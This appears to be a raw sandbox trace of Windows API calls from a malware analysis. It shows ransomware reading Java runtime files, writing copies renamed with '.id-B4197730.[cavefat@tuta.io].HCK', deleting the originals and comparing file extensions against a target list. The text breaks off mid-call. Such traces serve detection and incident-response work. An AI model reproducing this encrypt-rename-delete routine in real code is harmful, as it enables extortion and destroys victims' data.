CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.801] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=54560347) returned 1 [0228.801] CloseHandle (hObject=0x4bc) returned 1 [0228.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0228.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0228.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.801] lstrlenW (lpString=".doc") returned 4 [0228.801] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.801] lstrlenW (lpString=".docx") returned 5 [0228.801] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0228.801] lstrlenW (lpString=".pdf") returned 4 [0228.801] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.801] lstrlenW (lpString=".xls") returned 4 [0228.801] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.801] lstrlenW (lpString=".xlsx") returned 5 [0228.802] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0228.802] lstrlenW (lpString=".ppt") returned 4 [0228.802] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".zip") returned 4 [0228.802] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString=".rar") returned 4 [0228.802] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString=".bz2") returned 4 [0228.802] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.802] lstrlenW (lpString=".7z") returned 3 [0228.802] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".dbf") returned 4 [0228.802] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".1cd") returned 4 [0228.802] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".jpg") returned 4 [0228.802] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".doc") returned 4 [0228.802] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.802] lstrlenW (lpString=".docx") returned 5 [0228.802] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0228.802] lstrlenW (lpString=".pdf") returned 4 [0228.802] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString=".xls") returned 4 [0228.802] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString=".xlsx") returned 5 [0228.802] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0228.802] lstrlenW (lpString=".ppt") returned 4 [0228.802] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".zip") returned 4 [0228.802] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString=".rar") returned 4 [0228.802] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.802] lstrlenW (lpString=".bz2") returned 4 [0228.802] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.802] lstrlenW (lpString=".7z") returned 3 [0228.802] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".dbf") returned 4 [0228.802] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".1cd") returned 4 [0228.802] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0228.802] lstrlenW (lpString=".jpg") returned 4 [0228.802] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.803] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".HCK") returned -1 [0228.803] lstrlenW (lpString="blacklist") returned 9 [0228.803] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.804] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4054) returned 1 [0228.805] CloseHandle (hObject=0x4bc) returned 1 [0228.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0228.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.805] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.805] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.873] GetLastError () returned 0x0 [0228.873] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xfd6, lpOverlapped=0x0) returned 1 [0228.876] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfe0, lpOverlapped=0x0) returned 1 [0228.876] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.876] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe6, lpOverlapped=0x0) returned 1 [0228.877] SetEndOfFile (hFile=0x4c4) returned 1 [0228.877] CloseHandle (hObject=0x4c4) returned 1 [0228.877] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.877] SetEndOfFile (hFile=0x4bc) returned 1 [0228.879] CloseHandle (hObject=0x4bc) returned 1 [0228.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.879] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0228.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.880] lstrlenW (lpString=".doc") returned 4 [0228.880] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0228.880] lstrlenW (lpString=".docx") returned 5 [0228.880] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0228.880] lstrlenW (lpString=".pdf") returned 4 [0228.880] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0228.880] lstrlenW (lpString=".xls") returned 4 [0228.880] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0228.880] lstrlenW (lpString=".xlsx") returned 5 [0228.880] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0228.880] lstrlenW (lpString=".ppt") returned 4 [0228.880] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0228.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.880] lstrlenW (lpString=".zip") returned 4 [0228.880] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0228.880] lstrlenW (lpString=".rar") returned 4 [0228.880] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0228.880] lstrlenW (lpString=".bz2") returned 4 [0228.880] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0228.880] lstrlenW (lpString=".7z") returned 3 [0228.880] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0228.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.880] lstrlenW (lpString=".dbf") returned 4 [0228.880] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0228.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.880] lstrlenW (lpString=".1cd") returned 4 [0228.881] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0228.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.881] lstrlenW (lpString=".jpg") returned 4 [0228.881] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0228.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.881] lstrlenW (lpString=".doc") returned 4 [0228.881] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0228.881] lstrlenW (lpString=".docx") returned 5 [0228.881] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0228.881] lstrlenW (lpString=".pdf") returned 4 [0228.881] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0228.881] lstrlenW (lpString=".xls") returned 4 [0228.881] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0228.881] lstrlenW (lpString=".xlsx") returned 5 [0228.881] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0228.881] lstrlenW (lpString=".ppt") returned 4 [0228.881] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0228.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.881] lstrlenW (lpString=".zip") returned 4 [0228.881] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0228.881] lstrlenW (lpString=".rar") returned 4 [0228.881] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0228.881] lstrlenW (lpString=".bz2") returned 4 [0228.881] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0228.881] lstrlenW (lpString=".7z") returned 3 [0228.881] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0228.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.881] lstrlenW (lpString=".dbf") returned 4 [0228.881] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0228.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.881] lstrlenW (lpString=".1cd") returned 4 [0228.881] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0228.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0228.881] lstrlenW (lpString=".jpg") returned 4 [0228.881] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0228.881] lstrcmpiW (lpString1=".certs", lpString2=".HCK") returned -1 [0228.881] lstrlenW (lpString="blacklisted.certs") returned 17 [0228.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.882] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1253) returned 1 [0228.882] CloseHandle (hObject=0x4bc) returned 1 [0228.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0228.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.883] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.883] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.883] GetLastError () returned 0x0 [0228.883] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4e5, lpOverlapped=0x0) returned 1 [0228.885] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0228.885] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.886] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0228.886] SetEndOfFile (hFile=0x4c4) returned 1 [0228.886] CloseHandle (hObject=0x4c4) returned 1 [0228.886] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.886] SetEndOfFile (hFile=0x4bc) returned 1 [0228.890] CloseHandle (hObject=0x4bc) returned 1 [0228.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.890] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0228.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.891] lstrlenW (lpString=".doc") returned 4 [0228.891] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0228.891] lstrlenW (lpString=".docx") returned 5 [0228.891] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0228.891] lstrlenW (lpString=".pdf") returned 4 [0228.891] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0228.891] lstrlenW (lpString=".xls") returned 4 [0228.891] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0228.891] lstrlenW (lpString=".xlsx") returned 5 [0228.891] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0228.891] lstrlenW (lpString=".ppt") returned 4 [0228.891] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0228.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.891] lstrlenW (lpString=".zip") returned 4 [0228.891] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0228.891] lstrlenW (lpString=".rar") returned 4 [0228.891] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0228.891] lstrlenW (lpString=".bz2") returned 4 [0228.891] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0228.891] lstrlenW (lpString=".7z") returned 3 [0228.891] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0228.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.891] lstrlenW (lpString=".dbf") returned 4 [0228.892] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString=".1cd") returned 4 [0228.892] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString=".jpg") returned 4 [0228.892] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString=".doc") returned 4 [0228.892] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString=".docx") returned 5 [0228.892] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0228.892] lstrlenW (lpString=".pdf") returned 4 [0228.892] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString=".xls") returned 4 [0228.892] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString=".xlsx") returned 5 [0228.892] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0228.892] lstrlenW (lpString=".ppt") returned 4 [0228.892] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString=".zip") returned 4 [0228.892] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString=".rar") returned 4 [0228.892] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString=".bz2") returned 4 [0228.892] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString=".7z") returned 3 [0228.892] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString=".dbf") returned 4 [0228.892] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString=".1cd") returned 4 [0228.892] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0228.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0228.892] lstrlenW (lpString=".jpg") returned 4 [0228.892] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0228.892] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".HCK") returned -1 [0228.892] lstrlenW (lpString="cacerts") returned 7 [0228.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.893] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=114923) returned 1 [0228.893] CloseHandle (hObject=0x4bc) returned 1 [0228.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0228.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.893] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.894] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.894] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.894] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.894] GetLastError () returned 0x0 [0228.894] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0228.898] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0228.900] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.900] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe2, lpOverlapped=0x0) returned 1 [0228.901] SetEndOfFile (hFile=0x4c4) returned 1 [0228.901] CloseHandle (hObject=0x4c4) returned 1 [0228.901] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.901] SetEndOfFile (hFile=0x4bc) returned 1 [0228.904] CloseHandle (hObject=0x4bc) returned 1 [0228.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.904] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0228.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString="C:\\Program 